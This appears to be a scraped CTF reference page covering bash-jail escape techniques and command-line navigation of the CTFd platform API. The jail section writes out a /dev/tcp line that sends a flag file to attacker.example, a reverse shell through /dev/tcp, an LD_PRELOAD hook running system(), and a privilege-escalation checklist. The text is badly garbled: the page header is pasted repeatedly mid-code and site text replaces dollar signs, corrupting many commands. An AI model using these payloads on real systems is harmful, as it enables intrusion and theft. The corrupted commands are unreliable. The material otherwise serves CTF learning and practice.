CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

...' Octal Encoding (34C3 CTF 2017)](#bash-jail-bypass-via--octal-encoding-34c3-ctf-2017)\n- [LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)](#ld_preload-hook-via-rbash-allowed-variable-set-otw-advent-2018)\n- [/dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)](#devtcp-exfiltration-from-minimal-command-set-otw-advent-2018)\n- [Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)](#layer-by-layer-echo-only-bash-escape-insomnihack-2019)\n- [Closed-Stdout Jail with \\r Truncation (Insomnihack 2019)](#closed-stdout-jail-with-r-truncation-insomnihack-2019)\n- [References](#references)\n\n---\n\n## Identifying the Jail\n\n**Methodology:** Send test inputs and observe error messages to determine:\n1. What characters are allowed (whitelist vs blacklist)\n2. Whether input is `eval`'d, passed to `bash -c`, or something else\n3. Whether input is wrapped in quotes (double-quoted eval context)\n\n**Test for character filtering:**\n```python\nfrom pwn import *\nimport time\n\n# Send each char combined with a known-good payload\nfor c in range(32, 127):\n r = remote(host, port, level='error')\n r.sendline(b'$#' + bytes([c]) + b'$#')\n time.sleep(0.3)\n try:\n data = r.recv(timeout=1)\n if data:\n print(f'{chr(c)!r}: {data.decode().strip()[:60]}')\n except:\n pass\n r.close()\n```\n\n**Silent rejection = character not allowed.** Error output = character passed the filter.\n\n**Key insight:** Systematically probe each printable character to map the allowed set before crafting payloads. Silent rejection means the character is filtered; any error output means it passed the filter and reached the shell.\n\n---\n\n## Eval Context Detection\n\n**Double-quoted eval** (`eval \"$input\"`):\n- Trailing `\\` causes: `unexpected EOF while looking for matching '\"'`\n- `$#` expands to `0` (inside double-quotes, ` ctf-misc — Skillopedia still expands)\n- `\\ ctf-misc — Skillopedia gives literal ` ctf-misc — Skillopedia (backslash escapes dollar in double-quotes)\n- `\\#` gives `\\#` literally (backslash doesn't escape `#` in double-quotes, but eval then interprets `\\#` as literal `#`)\n\n**Bare eval** (`eval $input`):\n- Word splitting applies\n- Backslash escapes work differently\n\n**Read behavior:**\n- `read -r`: backslashes preserved literally\n- `read` (without -r): backslash is escape character (strips backslashes)\n\n**Key insight:** Distinguish between `eval \"$input\"` (double-quoted) and `eval $input` (bare) by sending a trailing backslash. Double-quoted eval produces an \"unexpected EOF\" error because the backslash escapes the closing quote; bare eval does not. This determines which escape sequences are available for exploitation.\n\n---\n\n## Character-Restricted Bash: Only `#`, ` ctf-misc — Skillopedia , `\\`\n\n**Pattern (HashCashSlash):** Filter regex `^[\\\\#\\$]+ ctf-misc — Skillopedia allows only hash, dollar, backslash.\n\n**Available expansions:**\n| Construct | Result | Notes |\n|-----------|--------|-------|\n| `$#` | `0` | Number of positional parameters |\n| `$` | PID | Current process ID (multi-digit number) |\n| `\\ ctf-misc — Skillopedia | literal ` ctf-misc — Skillopedia | In double-quoted eval context |\n| `\\\\` | literal `\\` | In double-quoted eval context |\n| `\\#` | literal `#` | Via eval's second-pass interpretation |\n\n**Key payload: `\\$#`**\n\nIn a double-quoted eval context like `bash -c \"\\\"${x}\\\"\"`:\n- `\\ ctf-misc — Skillopedia → literal ` ctf-misc — Skillopedia (backslash escapes dollar in double-quotes)\n- `$#` → `0` (parameter expansion)\n- Combined: `$0` in the eval context\n- `$0` = the shell name = `bash`\n- Result: **spawns an interactive bash shell**\n\n**Why it works:** The script wraps input in double quotes for `bash -c`, so `\\ ctf-misc — Skillopedia becomes a literal ` ctf-misc — Skillopedia , then `$#` expands to `0`, giving the string `$0`. When eval executes this, `$0` expands to the shell invocation name (`bash`), spawning a new shell.\n\n---\n\n## Internal Service Discovery (Post-Shell)\n\nAfter escaping the jail, the flag may not be directly readable. Check for internal services:\n\n```bash\n# Find all running processes and their command lines\ncat /proc/*/cmdline 2>/dev/null | tr '\\0' ' '\n\n# Look specifically for flag-serving processes\nfor pid in /proc/[0-9]*/; do\n cmd=$(cat ${pid}cmdline 2>/dev/null | tr '\\0' ' ')\n if echo \"$cmd\" | grep -qi flag; then\n echo \"PID $(basename $pid): $cmd\"\n cat ${pid}status 2>/dev/null | grep -E \"^(Uid|Name):\"\n fi\ndone\n```\n\n**Common patterns:**\n- `socat TCP-LISTEN:PORT,bind=127.0.0.1 EXEC:cat /flag` → flag on localhost port\n- `readflag` binary with SUID bit\n- Flag in environment of root process\n\n**Connect to internal services:**\n```bash\n# Bash built-in TCP (no netcat needed)\ncat \u003c /dev/tcp/127.0.0.1/PORT\n\n# Or with netcat if available\nnc 127.0.0.1 PORT\n```\n\n**Key insight:** After escaping the jail, check `/proc/*/cmdline` for internal services serving the flag on localhost. The flag is often on a different process, not readable from the filesystem directly.\n\n---\n\n## Other Restricted Character Set Tricks\n\n### Building numbers from `$#` and `${##}`\nIf `{` and `}` are allowed:\n- `$#` = 0\n- `${##}` = 1 (length of `$#`'s string value \"0\")\n- Concatenate to build binary: `${##}$#${##}` = \"101\"\n\n### Using PID digits\n`$` gives a multi-digit number. If you can extract individual digits (requires `{}` and `:`):\n```bash\n${$:0:1} # First digit of PID\n${$:1:1} # Second digit of PID\n```\n\n### Octal in ANSI-C quoting\nIf `'` is available: `

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\101'` = `A`, `

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\142\\141\\163\\150'` = `bash`\n\n### Dollar-zero variants\n| Shell | `$0` value |\n|-------|-----------|\n| bash script | script path |\n| bash -c | `bash` |\n| interactive | `bash` or `-bash` |\n| sh | `sh` |\n\n**Key insight:** Build arbitrary strings from minimal character sets by combining `$#` (yields 0), `${##}` (yields 1), `$` (PID digits), and ANSI-C quoting (`

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\NNN'` for octal). Even a 3-character alphabet (`#$\\`) is sufficient to spawn a shell via `$0` expansion.\n\n---\n\n## Privilege Escalation Checklist (Post-Shell)\n\n1. **SUID binaries:** `find / -perm -4000 2>/dev/null`\n2. **Capabilities:** `find / -executable -type f -exec getcap {} \\; 2>/dev/null`\n3. **Internal services:** Check `/proc/*/cmdline` for flag-serving daemons\n4. **Process UIDs:** `cat /proc/*/status 2>/dev/null | grep -A5 \"^Name:.*flag\"`\n5. **Writable paths:** Check if PATH contains writable dirs\n6. **Docker/container:** `/dev/tcp` for internal service access, `/.dockerenv` presence\n\n**Key insight:** After escaping the jail, run through this checklist in order: SUID binaries and capabilities first (quickest wins), then internal services via `/proc/*/cmdline`, then writable PATH directories. In containers, use `/dev/tcp` for internal service access since netcat is rarely available.\n\n---\n\n## HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)\n\nRead arbitrary files in restricted bash shells without cat/less/head:\n\n```bash\n# Method 1: HISTFILE loading\nHISTFILE=/path/to/flag /bin/bash\nhistory # Flag contents loaded as command history\n\n# Method 2: bash verbose mode\nbash -v flag.txt # Prints each line before executing; comments (#flag{...}) print without error\n\n# Method 3: ctypes.sh direct C library calls\ndlcall -n fd open /flag 0\ndlcall -n m mmap 0 100 1 1 $fd 0\ndlcall printf %s $m\n```\n\n**Key insight:** Three ways to read files without standard utilities: (1) HISTFILE loading, (2) `bash -v` verbose mode, (3) `ctypes.sh` direct C library calls via `dlcall`.\n\n---\n\n## Bash Jail Bypass via

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

...' Octal Encoding (34C3 CTF 2017)\n\nWhen a-z, `*`, `?`, `.` are banned, use `

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

...'` ANSI-C quoting with octal escapes:\n\n```bash\n# Encode /get_flag as octal\n__=

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\057\\147\\145\\164\\137\\146\\154\\141\\147'\n$__ # executes /get_flag\n\n# Or encode any command character by character:\n# /bin/sh =

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\057\\142\\151\\156\\057\\163\\150'\n```\n\nAlso: extract characters from existing environment variables:\n\n```bash\n# ${VARIABLE:START:LENGTH} extracts substrings\n# Build command from $PATH, $HOME, $OSTYPE, $HOSTNAME:\n/${OSTYPE:6:1}${HOSTNAME:2:1}${HOME:1:1}_${HOSTNAME:9:1}${PATH:5:1}...\n```\n\n**Key insight:** Bash's `

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

...'` syntax interprets `\\NNN` as octal byte values, allowing arbitrary string construction without using any alphabetic characters. Combined with environment variable substring extraction (`${VAR:offset:length}`), this bypasses nearly any character blacklist. The `__` variable name uses only underscores (often not blocked). When letters are banned but ` ctf-misc — Skillopedia , `'`, `\\`, and digits are allowed, octal encoding in ANSI-C quotes is the primary escape vector.\n\n---\n\n## LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)\n\n**Pattern:** rbash blocks path arguments but still allows `VAR=value command` prefixes on invocations of permitted binaries. Upload a shared object encoding a libc hook, then export `LD_PRELOAD=./hook.so` before any command in the allowlist (`cat`, `ls`, `id`). The hook runs on every libc symbol call from the allowed binary.\n\n```c\n// hook.c — hijacks open()\n#include \u003cstdlib.h>\n__attribute__((constructor))\nvoid init(void) { system(\"/bin/bash -p -c 'cat /flag'\"); }\n```\n\n```bash\ngcc -shared -fPIC hook.c -o /tmp/hook.so\nLD_PRELOAD=/tmp/hook.so cat # constructor runs before cat\n```\n\n**Key insight:** Restricted shells enforce argv filtering, not environment filtering. Any allowed binary dynamically linked to libc can be hijacked through `LD_PRELOAD` as long as you can write a `.so` to a writable path. Harden by unsetting `LD_PRELOAD`, `LD_LIBRARY_PATH`, and `LD_AUDIT` on shell entry.\n\n**References:** OverTheWire Advent 2018 — Claustrophobic, writeup 12770\n\n---\n\n## /dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)\n\n**Pattern:** Only `cat`, `echo`, and `dd` are available — no `curl`, `wget`, `nc`, `python`. Bash exposes `/dev/tcp/\u003chost>/\u003cport>` as a virtual socket file; redirecting to it opens a raw TCP connection without any extra binary.\n\n```bash\ncat /opt/flag > /dev/tcp/attacker.example/8081\n# attacker side:\nnc -lvnp 8081\n```\n\nBidirectional shells:\n\n```bash\nexec 3\u003c> /dev/tcp/attacker.example/8081\ncat \u003c&3 | bash >&3 2>&3\n```\n\n**Key insight:** `/dev/tcp` and `/dev/udp` are *built into bash*, not real filesystem paths — any distribution shipping GNU bash supports them even when `netcat`/`curl` are missing. Always test file redirection before assuming you need an external tool.\n\n**References:** OverTheWire Advent 2018 — Santa's little recorders, writeup 12780\n\n---\n\n## Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)\n\n**Pattern:** Jail allows only `echo`, `(`, `)`, `+`, `=`, `;`, `\\`, ` ctf-misc — Skillopedia , and whitespace. Escape by recursively constructing stronger primitives each round:\n\n```bash\n# Round 0: allowed chars → unlimited `=` via $((a = 1))\n# Round 1: arithmetic sets more vars; use

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\NNN' via increment loops\na=$((++a)) # counters without digits\n# Round N: emit arbitrary payload as octal escapes\n$('\\143\\141\\164' /flag) # cat /flag\n```\n\nBuild numbers using `++` on uninitialised variables, then index characters out of `$PATH`, `$PWD`, or any leaked variable. Finally concatenate those characters with `\\` to form any command.\n\n**Key insight:** Echo-only jails are escapable because bash's arithmetic context treats uninitialised variables as `0` and supports `++`, giving you any integer without digits. From there, `

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\NNN'` builds any byte, which builds any command.\n\n**References:** Insomnihack teaser 2019 — echoechoechoecho, writeup 12911\n\n---\n\n## Closed-Stdout Jail with \\r Truncation (Insomnihack 2019)\n\n**Pattern:** A bash-exec service runs commands but has stdout (and stderr) closed, so normal output silently disappears. Additionally, the target file contains a `\\r` early on that naive `cat` renders as \"overwrite the line\", hiding the flag behind it. Workaround is two-fold: redirect output to a still-open fd (stdin is connected to the network socket, or `/dev/tty`), and use `cat -A` / `od -c` / `xxd` so the carriage return shows as `^M` instead of truncating display.\n\n```bash\n# 1. confirm stdout is closed — output never returns\necho hello # nothing\necho hello 2>&1 # still nothing (stderr also closed)\n\n# 2. redirect to stdin (fd 0), which is the network socket for nc-style services\ncat flag 1>&0\n# returns only the tail after \\r because the terminal interprets \\r literally\n\n# 3. use cat -A (show-all) so CR becomes ^M and the hidden prefix is revealed\ncat -A flag 1>&0\n# or: od -c flag 1>&0 / xxd flag 1>&0 / base64 flag 1>&0\n\n# Alternative: reopen a writable stdout\nexec 1>/dev/tty # only works if a tty is attached\nexec 1>&0 # duplicate the socket fd onto stdout for future cmds\n```\n\n**Key insight:** \"Commands work but produce no output\" means stdout is closed — find any still-open fd (stdin to the network socket is always open) and redirect with `1>&0`. Once output flows, beware of display artefacts: `\\r` truncates in raw `cat`, ANSI CSI sequences can blank lines, and `\\x1b[2J` clears the terminal. Always inspect suspect files with `cat -A`, `od -c`, `xxd`, or `base64` so no byte is lost in translation.\n\n**References:** Insomnihack 2019 — myBrokenBash, writeups 13989 and 13990\n\n---\n\n## References\n\n- 0xL4ugh CTF \"HashCashSlash\": Filter `^[\\\\#\\$]+ ctf-misc — Skillopedia , payload `\\$#`, internal socat flag service\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13965,"content_sha256":"efd81ae50cbbb82356ec6b09a2920bb5b04e1c7f85dcb0c6787ba7166fdeded8"},{"filename":"ctfd-navigation.md","content":"# CTFd Platform Navigation (No Browser)\n\nProgrammatic interaction with CTFd-based CTF platforms via REST API. Eliminates browser dependency during competitions.\n\n## Table of Contents\n\n- [Detect CTFd](#detect-ctfd)\n- [Authentication](#authentication)\n- [List Challenges](#list-challenges)\n- [Challenge Details](#challenge-details)\n- [Download Challenge Files](#download-challenge-files)\n- [Submit Flags](#submit-flags)\n- [Scoreboard](#scoreboard)\n- [Hints and Unlocks](#hints-and-unlocks)\n- [Notifications](#notifications)\n- [User and Team Info](#user-and-team-info)\n- [Full Competition Workflow](#full-competition-workflow)\n- [Python CTFd Client](#python-ctfd-client)\n- [Troubleshooting](#troubleshooting)\n\n---\n\n## Detect CTFd\n\nCTFd fingerprints in HTTP responses:\n\n```bash\n# Check for CTFd signatures in response headers and body\ncurl -sI \"$CTF_URL\" | grep -i 'ctfd\\|powered-by'\n\n# Check for CTFd API endpoint (returns Swagger UI or JSON)\ncurl -s \"$CTF_URL/api/v1/\" | head -20\n\n# Check for CTFd static assets\ncurl -s \"$CTF_URL\" | grep -oE '(ctfd|CTFd|/themes/core)'\n\n# Check for CTFd login page structure\ncurl -s \"$CTF_URL/login\" | grep -oE 'name=\"nonce\"'\n```\n\n**Key indicators:**\n- `/api/v1/` returns Swagger/RESTX documentation\n- HTML contains `/themes/core/` asset paths\n- Login form includes a `nonce` hidden field\n- Response headers may include `CTFd` in `Server` or `X-Powered-By`\n\n---\n\n## Authentication\n\nCTFd supports two auth methods: session cookies (login flow) and API tokens (recommended).\n\n**Important:** When CTFd is detected, **ask the user for their API token**. Tokens are not provided by default — the user must generate one from the CTFd web UI (Settings > Access Tokens) before API access works. If the user doesn't have a token yet, guide them: log in to CTFd in a browser, go to Settings > Access Tokens, create a token, and paste it back.\n\n### Method 1: API Token (Recommended)\n\nGenerate a token from the CTFd web UI (Settings > Access Tokens), or if you already have session cookies:\n\n```bash\n# Generate token via API (requires session auth first)\ncurl -s -X POST \"$CTF_URL/api/v1/tokens\" \\\n -H \"Content-Type: application/json\" \\\n -b cookies.txt \\\n -d '{\"expiration\": \"2026-12-31\", \"description\": \"CLI access\"}' | jq .\n```\n\nUse the token for all subsequent requests:\n\n```bash\nexport CTF_URL=\"https://ctf.example.com\"\nexport CTF_TOKEN=\"ctfd_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n\n# Test authentication\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/users/me\" | jq .\n```\n\n### Method 2: Session Login (Cookie-Based)\n\n```bash\n# Step 1: Get CSRF nonce from login page\nNONCE=$(curl -sc cookies.txt \"$CTF_URL/login\" | grep 'name=\"nonce\"' | grep -oE 'value=\"[^\"]*\"' | cut -d'\"' -f2)\n\n# Step 2: Login with credentials\ncurl -sb cookies.txt -c cookies.txt -X POST \"$CTF_URL/login\" \\\n -d \"name=username&password=password&nonce=$NONCE\" \\\n -L -o /dev/null -w '%{http_code}'\n\n# Step 3: Use cookies for API calls\ncurl -s -b cookies.txt \"$CTF_URL/api/v1/users/me\" | jq .\n```\n\n**Key insight:** The nonce is a CSRF token required for form-based login. API token auth bypasses this entirely — always prefer tokens when available.\n\n---\n\n## List Challenges\n\n```bash\n# All visible challenges\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges\" | jq .\n\n# Filter by category\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges?category=web\" | jq .\n\n# Compact listing: id, name, category, value, solves\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges\" | \\\n jq -r '.data[] | \"\\(.id)\\t\\(.value)pts\\t\\(.category)\\t\\(.name)\\t(\\(.solves) solves)\"' | \\\n sort -t

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\t' -k3,3 -k2,2rn | column -t -s

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\t'\n```\n\n**Response structure:**\n```json\n{\n \"success\": true,\n \"data\": [\n {\n \"id\": 1,\n \"type\": \"standard\",\n \"name\": \"Challenge Name\",\n \"value\": 100,\n \"solves\": 42,\n \"solved_by_me\": false,\n \"category\": \"web\",\n \"tags\": [],\n \"template\": \"...\",\n \"script\": \"...\"\n }\n ]\n}\n```\n\n---\n\n## Challenge Details\n\n```bash\n# Full challenge details (description, files, hints, tags)\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges/$CHALL_ID\" | jq .\n\n# Extract just the description (HTML)\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges/$CHALL_ID\" | \\\n jq -r '.data.description'\n\n# Strip HTML tags for readable description\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges/$CHALL_ID\" | \\\n jq -r '.data.description' | sed 's/\u003c[^>]*>//g'\n\n# List files attached to challenge\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges/$CHALL_ID\" | \\\n jq -r '.data.files[]'\n\n# Get connection info (if present in description)\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges/$CHALL_ID\" | \\\n jq -r '.data.description' | grep -oE '(nc |ssh |https?://)[^ \u003c\"]+' | head -5\n```\n\n---\n\n## Download Challenge Files\n\nCTFd serves files with token-signed URLs. Extract them from challenge details and download:\n\n```bash\n# Get file URLs from challenge\nFILES=$(curl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges/$CHALL_ID\" | \\\n jq -r '.data.files[]')\n\n# Download all challenge files\nmkdir -p \"chall_$CHALL_ID\"\nfor f in $FILES; do\n # File paths are relative — prepend base URL\n URL=\"${CTF_URL}${f}\"\n FILENAME=$(basename \"$f\" | sed 's/?.*//')\n curl -s -H \"Authorization: Token $CTF_TOKEN\" -o \"chall_$CHALL_ID/$FILENAME\" \"$URL\"\n echo \"Downloaded: $FILENAME\"\ndone\n```\n\n**Key insight:** File URLs include a query-string token (`?token=...`) that authenticates the download. The token is time-limited — re-fetch the challenge details if downloads return 403.\n\n---\n\n## Submit Flags\n\n```bash\n# Submit a flag\ncurl -s -X POST -H \"Authorization: Token $CTF_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n \"$CTF_URL/api/v1/challenges/attempt\" \\\n -d \"{\\\"challenge_id\\\": $CHALL_ID, \\\"submission\\\": \\\"flag{example}\\\"}\" | jq .\n```\n\n**Response statuses:**\n| Status | Meaning |\n|--------|---------|\n| `correct` | Flag accepted |\n| `incorrect` | Wrong flag |\n| `already_solved` | Previously solved by you/team |\n| `ratelimited` | Too many attempts (default: 10/min) |\n| `paused` | CTF is paused |\n\n**Key insight:** Rate limit is 10 incorrect submissions per minute per user. Space out brute-force attempts or you get locked out temporarily.\n\n---\n\n## Scoreboard\n\n```bash\n# Full scoreboard\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/scoreboard\" | jq .\n\n# Top 10\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/scoreboard/top/10\" | jq .\n\n# Compact scoreboard\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/scoreboard/top/20\" | \\\n jq -r '.data | to_entries[] | \"\\(.value.pos)\\t\\(.value.name)\\t\\(.value.score)pts\"' | \\\n column -t -s

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

\\t'\n```\n\n**Note:** Scoreboard is cached server-side for 60 seconds.\n\n---\n\n## Hints and Unlocks\n\n```bash\n# List hints for a challenge (from challenge details)\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges/$CHALL_ID\" | \\\n jq '.data.hints'\n\n# Get hint content (if free or already unlocked)\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/hints/$HINT_ID\" | jq .\n\n# Unlock a paid hint (costs points)\ncurl -s -X POST -H \"Authorization: Token $CTF_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n \"$CTF_URL/api/v1/unlocks\" \\\n -d \"{\\\"target\\\": $HINT_ID, \\\"type\\\": \\\"hints\\\"}\" | jq .\n```\n\n---\n\n## Notifications\n\n```bash\n# Get all notifications (announcements from organizers)\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/notifications\" | jq .\n\n# Get notification count (HEAD request)\ncurl -sI -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/notifications\" | \\\n grep -i 'x-total'\n\n# Poll for new notifications since last seen\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \\\n \"$CTF_URL/api/v1/notifications?since_id=$LAST_ID\" | jq .\n```\n\n---\n\n## User and Team Info\n\n```bash\n# Current user profile\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/users/me\" | jq .\n\n# My solves\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/users/me/solves\" | \\\n jq -r '.data[] | \"\\(.challenge.name)\\t\\(.challenge.value)pts\\t\\(.date)\"'\n\n# My failed attempts\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/users/me/fails\" | jq .\n\n# Current team (teams mode)\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/teams/me\" | jq .\n\n# Team solves\nTEAM_ID=$(curl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/teams/me\" | jq '.data.id')\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/teams/$TEAM_ID/solves\" | jq .\n```\n\n---\n\n## Full Competition Workflow\n\nEnd-to-end CTFd interaction from the terminal:\n\n```bash\n#!/usr/bin/env bash\n# CTFd CLI workflow — set these two variables and go\nexport CTF_URL=\"https://ctf.example.com\"\nexport CTF_TOKEN=\"ctfd_your_token_here\"\nAUTH=\"-H 'Authorization: Token $CTF_TOKEN'\"\n\n# 1. Verify auth\necho \"=== Logged in as ===\"\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/users/me\" | jq -r '.data | \"\\(.name) (id: \\(.id))\"'\n\n# 2. List all challenges grouped by category\necho -e \"\\n=== Challenges ===\"\ncurl -s -H \"Authorization: Token $CTF_TOKEN\" \"$CTF_URL/api/v1/challenges\" | \\\n jq -r '.data | sort_by(.category, -.value) | .[] |\n \"\\(.solved_by_me | if . then \"✓\" else \" \" end) \\(.id)\\t\\(.value)pts\\t\\(.category)\\t\\(.name)\"' | \\\n column -t -s

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…

